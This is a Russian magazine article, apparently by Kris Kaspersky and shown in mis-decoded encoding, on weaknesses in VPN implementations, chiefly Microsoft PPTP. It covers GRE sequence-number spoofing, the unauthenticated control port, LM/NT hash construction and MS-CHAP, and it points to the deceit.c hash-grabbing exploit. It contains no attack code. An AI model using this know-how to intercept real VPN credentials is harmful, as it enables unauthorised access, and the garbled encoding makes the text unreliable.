íà ñêðèíå, òàê ÷òî âîïðîñîâ âîçíèêíóòü íå äîëæíî.

ñòðóêòóðà RPCBIND 
è øåëë-êîä ñïëîèòà îò sl0ppy





VPN � ÂÈÐÒÓÀËÜÍÛÅ ×ÀÑÒÍÛÅ ÑÅÒÈ � ÏÐÎÄÂÈÃÀ-
ÞÒÑß ÊÀÊ ÈÄÅÀËÜÍÎÅ ÑÐÅÄÑÒÂÎ ÄËß ÏÅÐÅÄÀ×È
ÊÎÍÔÈÄÅÍÖÈÀËÜÍÛÕ ÄÀÍÍÛÕ ×ÅÐÅÇ ÈÍÒÅÐÍÅÒ
ÈËÈ ÁÅÑÏÐÎÂÎÄÍÛÅ ÑÅÒÈ, ÍÅÏÎÄÂËÀÑÒÍÛÅ ÕÀÊÅÐ-
ÑÊÈÌ ÀÒÀÊÀÌ. ×ÈÒÀß ÌÍÎÃÎ×ÈÑËÅÍÍÛÅ ÑÒÀÒÜÈ Î
VPN, Ó ÒÅÁß ÌÎÃËÎ ÑËÎÆÈÒÜÑß ÌÍÅÍÈÅ, ×ÒÎ ÝÒÀ

ÒÅÕÍÎËÎÃÈß � ÍÀÑÒÎßÙÀß ÏÀÍÀÖÅß ÎÒ ÂÑÅÕ ÏÐÎ-
ÁËÅÌ, ÑÂßÇÀÍÍÛÕ Ñ ÏÅÐÅÄÀ×ÅÉ ÑÅÊÐÅÒÍÛÕ ÄÀÍ-
ÍÛÕ ÏÎ ÍÅÇÀÙÈÙÅÍÍÛÌ ÑÅÒßÌ. ÎÄÍÀÊÎ ÍÀ ÏÐÀÊ-
ÒÈÊÅ ÎÊÀÇÛÂÀÅÒÑß, ×ÒÎ ÈÑÏÎËÜÇÎÂÀÍÈÅ VPN È
ÏÎËÍÀß ÓÂÅÐÅÍÍÎÑÒÜ Â ÇÀÙÈÙÅÍÍÎÑÒÈ ÄÀÍÍÛÕ
ÌÎÆÅÒ ÑÛÃÐÀÒÜ ÇËÓÞ ØÓÒÊÓ | êðèñ êàñïåðñêè àêà ìûùúõ

[êàê ýòî áûëî] Ëåò òðèäöàòü íàçàä, êîãäà Èíòåðíåò òîëüêî-òîëüêî çà-
ðîæäàëñÿ, îáìåí êîíôèäåíöèàëüíûìè äàííûìè îñóùåñòâëÿëñÿ ÷åðåç
âûäåëåííûå êàíàëû è X.25 ñåòè, ïîñòðîåííûå íà îñíîâå îáû÷íûõ òåëå-
ôîííûõ ñåòåé. Òàêæå èñïîëüçîâàëîñü ïðÿìîå ìîäåìíîå ñîåäèíåíèå,
ðàäèîðåëåéíàÿ ñâÿçü è ïðî÷èå òåëåêîììóíèêàöèîííûå ñðåäñòâà. Âûñî-
êàÿ ñòåïåíü çàùèùåííîñòè «êîìïåíñèðîâàëàñü» ñòîëü æå âûñîêîé öå-
íîé è ñìåõîòâîðíîé ñêîðîñòüþ ïåðåäà÷è äàííûõ.

[ïðîãðåññ êðèïòîãðàôèè] Ñ ðàçâèòèåì êðèïòîãðàôèè âñå èçìåíè-
ëîñü. Ïîÿâèëàñü âîçìîæíîñòü ïåðåäàâàòü çàøèôðîâàííûå äàííûå ÷å-
ðåç îòêðûòûå ñåòè, çàâåäîìî ïîäâåðæåííûå ïåðåõâàòó. Äëÿ ýòîãî â íèõ
ïðîáèâàþòñÿ òàê íàçûâàåìûå âèðòóàëüíûå òóííåëè (virtual tunnel èëè
piggy-back). Ñàì ìåõàíèçì ïåðåäà÷è íå èçìåíèëñÿ. Ê íåìó âñåãî ëèøü
äîáàâèëîñü øèôðîâàíèå. Íî ðàçâå øèôðîâàíèå íå èñïîëüçîâàëîñü ðà-
íüøå? Â ÷åì æå ðåâîëþöèîííîñòü ïðåäëîæåííîé òåõíîëîãèè? À â òîì,
÷òî òðàäèöèîííàÿ ñèììåòðè÷íàÿ êðèïòîãðàôèÿ òðåáóåò ïðåäâàðèòåëü-
íîé ïåðåäà÷è ñåêðåòíîãî êëþ÷à, êîòîðûì ïîëó÷àòåëü áóäåò ðàñøèôðî-
âûâàòü òåêñò. Ñëåäîâàòåëüíî, íåîáõîäèì çàùèùåííûé êàíàë ïåðåäà÷è.
À òàêîãî êàíàëà ÷àùå âñåãî íåò. Åñëè æå îí åñòü, òî ìîæíî íå çàìîðà-
÷èâàòüñÿ ñ øèôðîâàíèåì, à ïåðåäàòü òåêñò íàïðÿìóþ. Èìåþòñÿ è äðó-
ãèå ïðîáëåìû. Êëþ÷è íóæíî êàê ìîæíî ÷àùå ìåíÿòü, ïðè÷åì íåîáõîäè-
ìî çàùèùàòüñÿ íå òîëüêî îò âñêðûòèÿ øèôðà, íî è îò íàâÿçûâàíèÿ ëîæ-
íûõ ïàðîëåé. Êîðî÷å, ñïëîøíîé ãåìîððîé.
Âèðòóàëüíûå ñåòè ýòèõ ïðîáëåì ëèøåíû. Îíè äåéñòâèòåëüíî ïðåîáðà-
çèëè ìèð, îñâîáîäèâ òðàíñíàöèîíàëüíûå êîðïîðàöèè îò íåîáõîäèìîñòè
ðàçâèòèÿ ñîáñòâåííîé èíôðàñòðóêòóðû çìåÿùèõñÿ êàáåëåé. È õîòÿ Mic-

Ðàáîòà, íåäî÷åòû è îøèáêè 
â ðåàëèçàöèÿõ VPN

rosoft îò÷àÿííî ïðîòàëêèâàëà èõ â
ìàëûé áèçíåñ, øåñòåðåíêè âðà-
ùàëèñü ñî ñêðèïîì, è äàëüøå ðå-
êëàìíîé øóìèõè äåëî íå øëî. Äëÿ
óäàëåííîé ðàáîòû ñ îôèñîì çà-
ùèùåííîñòè îáûêíîâåííûõ èí-
òåðíåò-êàíàëîâ âïîëíå äîñòàòî÷-
íî, à óæ ïðî «äîìàøíèå» ëîêàëü-
íûå ñåòè ðå÷ü è âîâñå íå èäåò.
À âîò â áåñïðîâîäíûõ ñåòÿõ, òåõ-
íîëîãèÿ VPN îêàçàëàñü êàê íåëüçÿ
êñòàòè. Ðàäèîâîëíû íå çíàþò ãðà-
íèö è ïåðåõâàòûâàþòñÿ íà çíà÷è-
òåëüíûõ ðàññòîÿíèÿõ. Ëåãêîñòü
âçëîìà ìíîãîêðàòíî óñèëèâàåò
òðåáîâàíèÿ ê çàùèùåííîñòè. Ëþ-
áîé ïàðåíåê, âîîðóæåííûé ñíèôå-
ðîì, ìîæåò ïîñìîòðåòü ïàðîëü íà
ÿùèê è èçìåíèòü åãî, íå ãîâîðÿ
óæå ïðî ÷òåíèå ëè÷íîé ïåðåïèñêè.
Ãðÿçíûìè ëàïàìè â ÷óæóþ äóøó! À
VPN íà ÷òî? Ïîñòàâèì åãî è áóäåì ÷óâñòâîâàòü ñåáÿ êàê çà êàìåííîé
ñòåíîé! Èëè îíà òîëüêî ñ âèäó êàìåííàÿ, à â äåéñòâèòåëüíîñòè ýòî ïðî-
ñòî êàðòîí? Äàâàé ðàçáèðàòüñÿ.

[àðõèòåêòóðà VPN] VPN ïðåäñòàâëÿåò ñîáîé âíóøèòåëüíîå ñîîðóæå-
íèå, èñïîëüçóþùåå äåñÿòêè ðàçíîîáðàçíûõ ïðîòîêîëîâ, ãîíÿþùèõ ïàêå-
òû äàííûõ, ñëîâíî êðîâü ïî àðòåðèÿì. Ïîëíûé àíàëèç àðõèòåêòóðû VPN
íå âõîäèò â íàøó çàäà÷ó (òåì áîëåå, ÷òî îíà ïîñòîÿííî ðàçâèâàåòñÿ è ñî-

Ãðÿçíûå ääèããåðû VVPN
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Íà íàøåì äèñêå òû íàé-
äåøü óïîìÿíóòûå â ñòàòüå
ïðîãðàììû, äîêóìåíòû è
êíèãè.

Çàíèìàòåëüíûé ôàêò: â
IKE-Scan'å íåäàâíî îáíàðó-
æèëè óÿçâèìîñòü. Çàáàâíî:
èíñòðóìåíò äëÿ ïîèñêà
äûð ñàì îêàçàëñÿ áîëüøîé
äûðîé.

Ñëåäóåò ïîíèìàòü, ÷òî
ïðîñëóøèâàíèå ÷óæèõ çà-
ùèùåííûõ êàíàëîâ � ýòî
óãîëîâíî íàêàçóåìîå äåëî.
È õîòü ó òåáÿ êèøêà òîíêà
íà ïðàêòèêå ïîëîìàòü ÷ó-
æîé VPN-êàíàë, ìû òåáÿ
ïðåäóïðåäèëè :).
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(http://packetstormsecurity.nl/new-exploits/deceit.c) äëÿ ãðàáåæà õýøèðî-
âàííûõ ïàðîëåé. Îäíàêî íå áóäåì çàáåãàòü âïåðåä, äàâàé ïîêà âåðíåì-
ñÿ ê Microsoft è åå áàðàíàì.
Ñàì òîííåëü íå èñïîëüçóåò TCP è ðàáîòàåò èñêëþ÷èòåëüíî íà IP-
óðîâíå ñ èñïîëüçîâàíèåì ïðîòîêîëà èíêàïñóëÿöèè GRE (Generic En-
capsulation Protocol � Îáùèé Ïðîòîêîë Èíêàïñóëÿöèè). Ýòî âïîëíå
ñàìîñòîÿòåëüíûé ïðîòîêîë, íèêàê íå çàâèñÿùèé îò PPTP, ïðåäñòà-
âëåííûé äâóìÿ äîêóìåíòàìè RFC 1701 RFC 1702 (îäíàêî Microsoft èñ-
ïîëüçóåò ñîáñòâåííûå ðàñøèðåíèÿ, èçâåñòíûå ïîä èìåíåì GRE v2).
Ïåðåäàâàåìûå äàííûå ðàçáèâàþòñÿ íà ïàêåòû è ïåðåäàþòñÿ ïî IP ïî
ïðîòîêîëó 47, çàêðåïëåííîì çà GRE. «Ïðîòîêîë» â äàííîì ñëó÷àå �
ýòî ïîëå protocol IP-ïàêåòà. Íå ïóòàòü åãî ñ ïîðòîì! Â IP íåò íèêàêèõ
ïîðòîâ. Îíè ðåàëèçîâàíû â ïðîòîêîëàõ âåðõíåãî óðîâíÿ � TCP è
UDP, à GRE � ýòî ïðîñòî åùå îäèí ïðîòîêîë.
Âíåøíå GRE î÷åíü ïîõîæ íà TCP, â íåì åñòü ïîíÿòèÿ ñêîëüçÿùèõ îêîí
(sliding window), ñåãìåíòîâ (segments), íîìåðîâ ïîñëåäîâàòåëüíîñòè
(sequence number) è íîìåðîâ ïîäòâåðæäåíèÿ (acknowledgement number).
Â ïðàêòè÷åñêîì ïëàíå ýòî îçíà÷àåò, ÷òî íåïîñðåäñòâåííûé ñïóôèíã PPP-
ïàêåòîâ íåâîçìîæåí. Åñëè ìû ïîïûòàåìñÿ íàâÿçàòü ñåðâåðó (èëè êëèåí-
òó) ïîäëîæíûé ïàêåò, òî ïðîèçîéäåò ðàññèíõðîíèçàöèÿ ñåññèè è ñîåäèíå-
íèå îêàæåòñÿ íàðóøåíî. Â ëîêàëüíûõ ñåòÿõ ïðîáëåìà ðåøàåòñÿ ïîñûëêîé
2^32 ïàêåòîâ. Ïîñêîëüêó, ïîëå sequence number çàíèìàåò 32-áèòà, ïðîèñ-
õîäèò åãî ïåðåïîëíåíèå è çíà÷åíèå ñ÷åò÷èêà âîññòàíàâëèâàåòñÿ. Íî äëÿ
àòàêè ÷åðåç Èíòåðíåò ýòî ïîòðåáóåò íåìûñëèìîãî êîëè÷åñòâà âðåìåíè.
Ñèòóàöèÿ êàæåòñÿ áåçíàäåæíîé, íî êîå-êàêàÿ ëàçåéêà âñå-òàêè åñòü.
Â çàãîëîâêå GRE-ïàêåòîâ ïðèñóòñòâóåò ñïåöèàëüíûé ôëàã Sequence
Number Present (áèò 3), óñëîâíî îáîçíà÷àåìûé ëàòèíñêîé áóêîâîé S.
Åñëè îí ðàâåí íóëþ, òî íîìåð ïîñëåäîâàòåëüíîñòè ïðèçíàåòñÿ íåäåé-
ñòâèòåëüíûì, è ïðèíèìàþùàÿ ñòîðîíà äîëæíà åãî èãíîðèðîâàòü. Âî
âñÿêîì ñëó÷àå, òàê ãîâîðèò Còàíäàðò. Åñòåñòâåííî, êîíêðåòíûå ðåàëè-
çàöèè ìîãóò ñóùåñòâåííî îòëè÷àòüñÿ. Òåì íå ìåíåå ïîòåíöèàëüíàÿ äû-
ðà âñå-òàêè åñòü. Êñòàòè ãîâîðÿ, Ñòàíäàðò íå äàåò íèêàêèõ óêàçàíèé, êàê
îáðàáàòûâàòü äóáëèêàòû (ïàêåòû ñ îäèíàêîâûì íîìåðîì ïîñëåäîâà-
òåëüíîñòè), îñòàâëÿÿ ýòî íà ñîâåñòè êîíêðåòíûõ ðåàëèçàöèé. Ïðèíèìàþ-
ùàÿ ñòîðîíà ìîæåò ëèáî îòáðîñèòü îäèí èç ïàêåòîâ, ëèáî çàòðåáîâàòü
åãî ïîâòîðíóþ ïåðåäà÷ó. Â îáîèõ ñëó÷àÿõ ðàññèíõðîíèçàöèè íå ïðîèñ-
õîäèò, òî åñòü ïîëó÷àåòñÿ êàê áû ñàìîñèíõðîíèçóþùèéñÿ ïðîòîêîë.
Ïîâåðõ GRE ðåàëèçîâàíû ïðîòîêîëû àóòåíòèôèêàöèè è øèôðîâàíèÿ (à
ïðè íåîáõîäèìîñòè åùå è ñæàòèÿ, çà êîòîðîå ÷àùå âñåãî îòâå÷àåò
MPPE). Microsoft ïîñòàâëÿåò äîâîëüíî áîëüøîé àññîðòèìåíò ðàçëè÷íûõ
ïðîêîëîâ (ñì. ñîîòâåòñòâóþùóþ âðåçêó), òàê ÷òî êëèåíòó ñ ñåðâåðîì
åñòü èç ÷åãî âûáèðàòü! Ïðè æåëàíèè øèôðîâàíèå ìîæíî è âîâñå îòêëþ-
÷èòü, à àóòåíòèôèêàöèþ îñóùåñòâëÿòü «ïðÿìûì» òåêñòîì, íî ýòî áóäåò
ñëèøêîì íåäàëüíîâèäíîå ðåøåíèå, ïîëíîñòüþ îáåñöåíèâàþùåå èäåî-
ëîãèþ VPN è îòêðûâàþùóþ äâåðè äëÿ âñåõ æåëàþùèõ. Íîðìàëüíûå àä-
ìèíèñòðàòîðû òàê íå ïîñòóïàþò, ïðåäïî÷èòàÿ èñïîëüçîâàòü áîëåå çà-
ùèùåííûå MS-CHAP è LANMAN Hash.
Íà ñàìîì äåëå, èõ çàùèùåííîñòü ñèëüíî ïðåóâåëè÷åíà è îíè óæå
äàâíî âçëîìàíû. Ïîäðîáíåå îá ýòîì ìîæíî ïðî÷èòàòü â ìîåé «Òåõ-
íèêå ñåòåâûõ àòàê», ýëåêòðîííóþ êîïèþ êîòîðîãî ìîæíî áåñïëàòíî
ñêà÷àòü ñ ftp � nezumi.org.ru (nezumi ïî-ÿïîíñêè ìûùúõ). Ê òîìó æå,
øèôðóþòñÿ òîëüêî ïàêåòû ñ äàííûìè (DATA packets). Ñëóæåáíûå
ïðîòîêîëû, ñîñòàâëÿþùèå âåñüìà çíà÷èòåëüíóþ ÷àñòü PPP-òðàôè-
êà, òàêèå, íàïðèìåð, êàê LCP � Link Control Protocol (Ïðîòîêîë
Óïðàâëåíèÿ Êàíàëîì) � îñòàþòñÿ íåçàøèôðîâàííûìè ñî âñåìè
âûòåêàþùèìè îòñþäà ïîñëåäñòâèÿìè.

âåðøåíñòâóåòñÿ). Âçëîìùèêó, ãðàáÿùåìó áàíê, ñîâåðøåííî íåîáÿçà-
òåëüíî çíàòü ðàñïîëîæåíèå óíèòàçîâ è äåðæàòü â ãîëîâå âñå èçãèáû êà-
íàëèçàöèîííûõ òðóá. Õîòÿ ýòà èíôîðìàöèÿ áóäåò î÷åíü ïîëåçíîé ïðè
ïëàíèðîâàíèè ïóòåé îòñòóïëåíèÿ, áîëüøèíñòâî îãðàíèâàþòñÿ èçó÷åíèåì
îñíîâíûõ ìàðøðóòîâ: äâåðè � êàññà � ñåéô. Òàê æå ïîñòóïèì è ìû.

[âíóòðè PPTP] Ïðîòîêîë PPTP (Point to Point Tunneling Protocol � Òóí-
íåëüíûé Ïðîòîêîë Òî÷êà � Òî÷êà) � ýòî îñíîâíîé ïðîòîêîë äëÿ îðãà-
íèçàöèè VPN-ñåòåé ïîä Windows. Îí ñâÿçûâàåò äâå ñèñòåìû âèðòóàëü-
íûì êàíàëîì ñâÿçè. Íà îäíîé ñòîðîíå ñèäèò êëèåíò (client), íà äðóãîé �
ñåðâåð (server), â ðåçóëüòàòå ÷åãî îáå ÷àñòè ïîëó÷àþòñÿ ñèëüíî íåðàâ-
íîçíà÷íûìè. À ÷òî íàõîäèòñÿ âíóòðè òîííåëÿ? Äëÿ ïîääåðæàíèÿ ñâîåé
ðàáîòîñïîñîáíîñòè, ñåðâåð îòêðûâàåò 1723 TCP-ïîðò, íà êîòîðîì âèñèò
ñèñòåìà æèçíåîáåñïå÷åíèÿ, îíà æå Control Connection � ñëóæåáíûé êà-
íàë ñâÿçè, ñâÿçûâàþùèé ñåðâåð ñ êëèåíòîì (èçíà÷àëüíî èñïîëüçîâàëñÿ
5678 ïîðò, íî IANA � Internet Assigned Numbers Authority � îðãàíèçàöèÿ,
âåäàþùàÿ ðåãèñòðàöèåé äîìåíîâ è ïîðòîâ, ðåøèëà èíà÷å è óòâåðäèëà
çà PPTP-ñåðâåðîì 1732 ïîðò, ñïèñîê îñòàëüíûõ çàðåãèñòðèðîâàííûõ
ïîðòîâ ìîæíî íàéòè íà www.iana.org/assignments/port-numbers). Êëèåíò-
ñêèé ïîðò ìîæåò áûòü ëþáûì, è âûáèðàåòñÿ èì (à òî÷íåå åãî îñüþ) ñà-
ìîñòîÿòåëüíî. Íèêàêîé àóòåíòèôèêàöèè çäåñü íå òðåáóåòñÿ, ÷òî îòêðû-
âàåò ïðîñòîð äëÿ âñåâîçìîæíûõ ìàõèíàöèé, íàïðèìåð, õàêåð ìîæåò
ïðèíóäèòåëüíî çàêðûòü ÷óæóþ ñåññèþ.
Ñëóæåáíûé êàíàë â îñíîâíîì èñïîëüçóåòñÿ äëÿ óïðàâëåíèÿ ñêîðîñòüþ
ïîñòóïëåíèÿ òðàôèêà, èçáåãàÿ õîëîñòûõ ïðîñòîåâ è ïðåäîòâðàùàÿ «çà-
òîðû». Ýòî îñóùåñòâëÿåòñÿ ïóòåì ðàññûëêè ñïåöèàëüíûõ PPTP-ñîîáùå-

íèé (PPTP Control Connection mes-
sage). Êàæäîå òàêîå ñîîáùåíèå
íà÷èíàåòñÿ ñ çàãîëîâêà, à çàêàí-
÷èâàåòñÿ «ïðîèçâîäñòâåííîé» èí-
ôîðìàöèåé. Äëèíà çàãîëîâêà ôèê-
ñèðîâàíà è ñîñòàâëÿåò 8 îêòåòîâ.
Òåëî ñîîáùåíèÿ âêëþ÷àåò â ñåáÿ:
ïîëå äëèíû (Total message length),
òèï ñîîáùåíèÿ: ñëóæåáíîå èëè
óïðàâëÿþùåå ñîîáùåíèå (Control
Message/Management Message) è
ìàãè÷åñêóþ ïîñëåäîâàòåëüíîñòü
4Dh 3C 2C 1Ah, ïî êîòîðîé åãî
ìîæíî ëåãêî èäåíòèôèöèðîâàòü â
îáùåì ïîòîêå òðàôèêà è êîòîðóþ
èñïîëüçóåò ïðîãðàììà deceit.c

×ÒÎ ××ÈÒÀÒÜ?
� Malware FAQ Microsoft PPTP VPN � ïîäðîáíûé è äîõîä-
÷èâûé faq ïî âçëîìó VPN (íà àíãëèéñêîì ÿçûêå):
www.sans.org/resources/malwarefaq/pptp-vpn.php
� Breaking the Secure Safe � ôðàãìåíò èç êíèãè Wireless
Hacking: Breaking Through, ïîñâÿùåííîé âçëîìó áåñïðî-
âîäíûõ ñåòåé ñ êó÷åé ïðàêòè÷åñêèõ ïðèìåðîâ (íà àíãëèé-
ñêîì ÿçûêå): www.informit.com/articles/artic-
le.asp?p=353735&seqNum=8&rl=1
� [The Crumbling Tunnel]-<A Menagerie of PPTP Vulnerabilit-
ies> � ñòàòüÿ èç phrack'à ñ îáñòîÿòåëüíûì àíàëèçîì óÿç-
âèìîñòåé PPTP-ïðîòîêîëà (íà àíãëèéñêîì ÿçûêå):
www.phrack.org/phrack/53/P53-12
� Êðèïòîàíàëèç òóííåëüíîãî ïðîòîêîëà òèïà òî÷êà-òî÷êà
(PPTP) îò Microsoft � ïåðåâîä ñòàòüè èçâåñòíîãî êðèïòîà-
íàëèòèêà Áðþñà Øðàéåðà è ýòèì âñå ñêàçàíî (íà ðóññêîì
ÿçûêå): www.ssl.stu.neva.ru/psw/crypto/pptp.html

àðõèòåêòóðà òèïè÷íîé VPN-ñåòè

ñõåìàòè÷íàÿ ðåàëèçàöèÿ VPN ïî-
âåðõ Ethernet

ïîëå íîìåðà ïðîòîêîëà â çàãîëîâêå IP-ïàêåòà
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[àóòåíòèôèêàöèÿ
ñíàðóæè è èçíóòðè]
Àóòåíòèôèêàöèÿ îñó-
ùåñòâëÿåòñÿ ëèáî îò-
êðûòûì òåñòîì (clear
text password), ëèáî ïî
ñõåìå çàïðîñ/îòêëèê
(Challenge/Response).
Ñ ïðÿìûì òåêñòîì âñå
ÿñíî. Êëèåíò ïîñûëàåò
ñåðâåðó ïàðîëü. Ñåð-
âåð ñðàâíèâàåò ýòî ñ
ýòàëîíîì è ãîâîðèò

«ïîøåë íà xyz» èëè «äîáðî ïîæàëîâàòü». Õàêåð, âîîðóæåííûé ñíèôå-
ðîì, ìîæåò ëåãêî ïåðåõâàòèòü îòêðûòûé ïàðîëü, è çàùèòà ïîéäåò ëåñîì.
Íàì ýòîò ñëó÷àé íå èíòåðåñåí, ïîýòîìó íå áóäåì íà íåì îñòàíàâëèâàòü-
ñÿ. Ê òîìó æå îòêðûòàÿ àóòåíòèôèêàöèÿ â æèâîé ïðèðîäå ïðàêòè÷åñêè íå
âñòðå÷àåòñÿ. Ñõåìà çàïðîñ/îòêëèê íàìíîãî áîëåå ïðîäâèíóòà. Â îáùåì
âèäå îíà âûãëÿäèò òàê:

1 êëèåíò ïîñûëàåò ñåðâåðó çàïðîñ (request) íà àóòåíòèôèêàöèþ

2 ñåðâåð âîçâðàùàåò ñëó÷àéíûé îòêëèê (challenge)

3 êëèåíò ñíèìàåò ñî ñâîåãî ïàðîëÿ õýø, øèôðóåò èì îòêëèê è ïåðåäà-
åò åãî ñåðâåðó

4 òî æå ñàìîå ïðîäåëûâàåò è ñåðâåð, ñðàâíèâàÿ ïîëó÷åííûé ðåçóëüòàò
ñ îòâåòîì êëèåíòà

5 åñëè çàøèôðîâàííûé îòêëèê ñîâïàäàåò, àóòåíòèôèêàöèÿ ñ÷èòàåòñÿ
óñïåøíîé

Òàêèì îáðàçîì, äëÿ àóòåíòèôèêàöèè çíàòü îðèãèíàëüíûé ïàðîëü âîîá-
ùå íå íóæíî, äîñòàòî÷íî óãàäàòü/ïåðåáðàòü/ïîäñìîòðåòü åãî õýø, îäíà-
êî õýø íå ïåðåäàåòñÿ â îòêðûòîì âèäå ïî ñåòè, è ýòà ñõåìà ïîçèöèîíè-
ðóåòñÿ êàê óñòîé÷èâàÿ ê ïåðåõâàòó, ÷òî î÷åíü õîðîøî. À âîò åå íåäîñòàò-
êè: èñõîäíûé õýø äîëæåí êàê-òî ïîïàñòü íà ñåðâåð, ïîýòîìó äëÿ ïåðå-
äà÷è ïàðîëÿ íåîáõîäèì çàùèùåííûé êàíàë. Ýòî ðàç. Ïðîöåäóðà àóòåí-
òèôèêàöèè óÿçâèìà äëÿ brute-force àòàêè. Ïåðåõâàòèâ èñõîäíûé è çàøè-
ôðîâàííûé challenge, ìû ìîæåì ïîïûòàòüñÿ ïîäîáðàòü êëþ÷ øèôðîâà-
íèÿ, ïåðåáèðàÿ ñòîëüêî âàðèàíòîâ, ñêîëüêî õîòèì. Íè ñåðâåð, íè êëèåíò
â ýòîé çàòåå íèêàê íå ó÷àñòâóþò è íå ìîãóò íàì ïîìåøàòü. Ýòî äâà.
Ñòîéêîñòü ñèñòåìû îïðåäåëÿåòñÿ ïî ôîðìóëå min(strlen(passwd),siz-
eof(hash)). Åñëè õýø êîðîòîê, òî äëèíà ïàðîëÿ íå èãðàåò íèêàêîé ðîëè, è
âçëîì ìîæåò çàâåðøèòüñÿ çà î÷åíü êîðîòêîå âðåìÿ. Ýòî òðè. Íî ýòî âñå
ãîëàÿ òåîðèÿ. Ïîñìîòðèì, êàê îáñòîÿò äåëà íà ïðàêòèêå.
Microsoft Windows ïîääåðæèâàåò äâà òèïà õýøåé: «ðîäíîé» NT-õýø è
õýø LAN Manager, äîñòàâøåéñÿ åé â íàñëåäñòâî îò OS/2 (äàâíûì-äàâíî
ýòè ñèñòåìû øëè âìåñòå) è áëàãîïîëó÷íî äîæèâøèé äî íà-
øèõ äíåé, íåñìîòðÿ íà ñâîþ êàòàñòðîôè÷åñêóþ íåçàùè-
ùåííîñòü. Êàê îí ðàññ÷èòûâàåòñÿ? À âîò òàê!

1 êëèåíòñêèé ïàðîëü ïðåîáðàçóåòñÿ â 14-áàéòîâóþ ASCII-
ñòðîêó (áîëåå äëèííûå ïàðîëè óñåêàþòñÿ, à áîëåå êîðîòêèå
äîïîëíÿþòñÿ íóëÿìè)

2 âñå ñèìâîëû ïðèâîäÿòñÿ ê âåðõíåìó ðåãèñòðó

3 14-ñèìâîëüíûé ïàðîëü ðàçáèâàåòñÿ íà äâå 7-ñèìâîëü-
íûå «ïîëîâèíêè»

4 êàæäîé 7-ñèìâîëüíîé «ïîëîâèíêîé» çàøèôðîâûâàåòñÿ
ïîñòîÿííàÿ êîíñòàíòà AAD3B435B5140EEh ïî àëãîðèòìó DES

5 îáðàçóþòñÿ äâå 8-áàéòîâûå ñòðîêè

6 ýòè ñòðîêè «ñêëåèâàþòñÿ» äðóã ñ äðóãîì, îáðàçóÿ 16-áàéòîâûé õýø

Íåçàâèñèìîå õåøèðîâàíèå ïîëîâèíîê ïàðîëÿ, â 1 000 000 000 000 000
ðàç óìåíüøàåò êîëè÷åñòâî ïîïûòîê, òðåáóþùèõñÿ äëÿ åãî ïåðåáîðà (à
âîâñå íå â äâà ðàçà, êàê ýòî ìîæåò ïîêàçàòüñÿ íà ïåðâûé âçãëÿä). Ýòî
æå êàêîé òàëàíò íàäî èìåòü, ÷òîáû äîïóñòèòü òàêîé ëÿï! Óæ ñêîëüêî ðàç
òâåðäèëè ìèðó (òî åñòü ðàçðàáîò÷èêàì) � íå ðàçâîäèòå ñàìîäåÿòåëü-
íîñòü, èñïîëüçóéòå ïðîâåðåííûå âðåìåíåì àëãîðèòìû, äà òîëüêî âñå íå
âïðîê. Ñèòóàöèÿ óñóãóáëÿåòñÿ òåì, ÷òî àëãîðèòì DES íå òðåáóåò ãðî-
ìîçäêèõ âû÷èñëåíèé è ïîòîìó íà ñîâðåìåííûõ ïðîöåññîðàõ LM-õýø ìî-
æåò áûòü âçëîìàí çà êîðîòêîå âðåìÿ. Êàêîå � íå èìååò çíà÷åíèÿ. Âåäü
â îòêðûòîì âèäå îí âñå ðàâíî íå ïåðåäàåòñÿ. Ïðàâäà, ïîäîáðàííûé ïà-
ðîëü ìîæåò ïðèãîäèòñÿ ïðè âõîäå â ñèñòåìó ñ êëàâèàòóðû.
À âîò òàê âû÷èñëÿåòñÿ NT-õýø:

1 â çàâèñèìîñòè îò íàñòðîåê ñèñòåìû êëèåíòñêèé ïàðîëü ïðåîáðàçóåò-
ñÿ ëèáî ê 14-ñèìâîëüíîé (ïî óìîë÷àíèþ), ëèáî ê 128-ñèìâîëüíîé ASCII
ñòðîêå, ïðè÷åì áîëüøèíñòâî àäìèíèñòðàòîðîâ èñïîëüçóþò äëèíó ïî
óìîë÷àíèþ, íå óòðóæäàÿñü åå ïîìåíÿòü

2 ASCII-ñòðîêà ïðåîáðàçóåòñÿ â UNICODE

3 âû÷èñëÿåòñÿ 16-áàéòîâûé êýø ïî àëãîðèòìó MD4

Êàê âèäíî, NT-õýø íàìíîãî áîëåå ñòîåê, ïîýòîìó â ñëó÷àå ñ NT-õýøåì
õàêåðû ïðåäïî÷èòàþò ïåðåáèðàòü ñàì õýø, à ñ LM-õýøåì � èñõîäíûé
ïàðîëü.
Òåïåðü ðàññìîòðèì, êàê ðàáîòàåò ïðîöåäóðà àóòåíòèôèêàöèè. Îáû÷íî
îíà îñóùåñòâëÿåòñÿ ëèáî ïî ïðîòîêîëó MS-CHAP v1, ëèáî ïî MS-CHAP
v2. Íà÷íåì ñ ïåðâîãî èç íèõ, îí ðàáîòàåò òàê:

1 êëèåíò ïîñûëàåò çàïðîñ íà àóòåíòèôèêàöèþ VPN-ñåðâåðó, îòêðûòî
ïåðåäàâàÿ ñâîé login

2 ñåðâåð âîçâðàùàåò 8-áàéòîâûé ñëó÷àéíûé îòêëèê

3 êëèåíò ñíèìàåò ñî ñâîåãî ïàðîëÿ LM-õýø è ãåíåðèðóåò òðè DES-êëþ-
÷à

4 êàæäûé èç ýòèõ êëþ÷åé çàøèôðîâûâàåò îòêëèê è ïîëó÷àåòñÿ òðè 8-
áàéòîâûõ ñòðîêè

5 òðè 8-áàéòîâûõ ñòðîêè îáúåäèíÿþòñÿ â îäíó 24-áàéòîâóþ, êîòîðàÿ ïå-
ðåäàåòñÿ ñåðâåðó

6 ñåðâåð, èçâëåêàåò èç ñâîåé áàçû õýø äàííîãî êëèåíòà è ðàñøèôðî-
âûâàåò ñòðîêó

7 åñëè ðåçóëüòàò ðàñøèôðîâêè ñîâïàäàåò ñ èñõîäíûì îòêëèêîì, òî âñå
îê, è íàîáîðîò

À âîò òàê ðàáîòàåò MS-CHAP v2:

1 êëèåíò ïîñûëàåò çàïðîñ íà àóòåíòèôèêàöèþ VPN- ñåðâåðó, îòêðûòî
ïåðåäàâàÿ ñâîé login

2 ñåðâåð âîçâðàùàåò êëèåíòó 16-áàéòîâûé ñëó÷àéíûé îòêëèê

3 êëèåíò ãåíåðèðóåò 16-áàéòîâûé PAC (Peer Authenticator Challenge �
Ðàâíûé Îòêëèê Àóòåíòèôèêàöèè)

4 êëèåíò îáúåäèíÿåò PAC, îòêëèê ñåðâåðà è ñâîé username â îäíó ñòðî-
êó

5 ñ ïîëó÷åííîé ñòðîêè ñíèìàåòñÿ 8-áàéòîâûé õýø ïî àëãîðèòìó SHA-1
è ïîñûëàåòñÿ ñåðâåðó

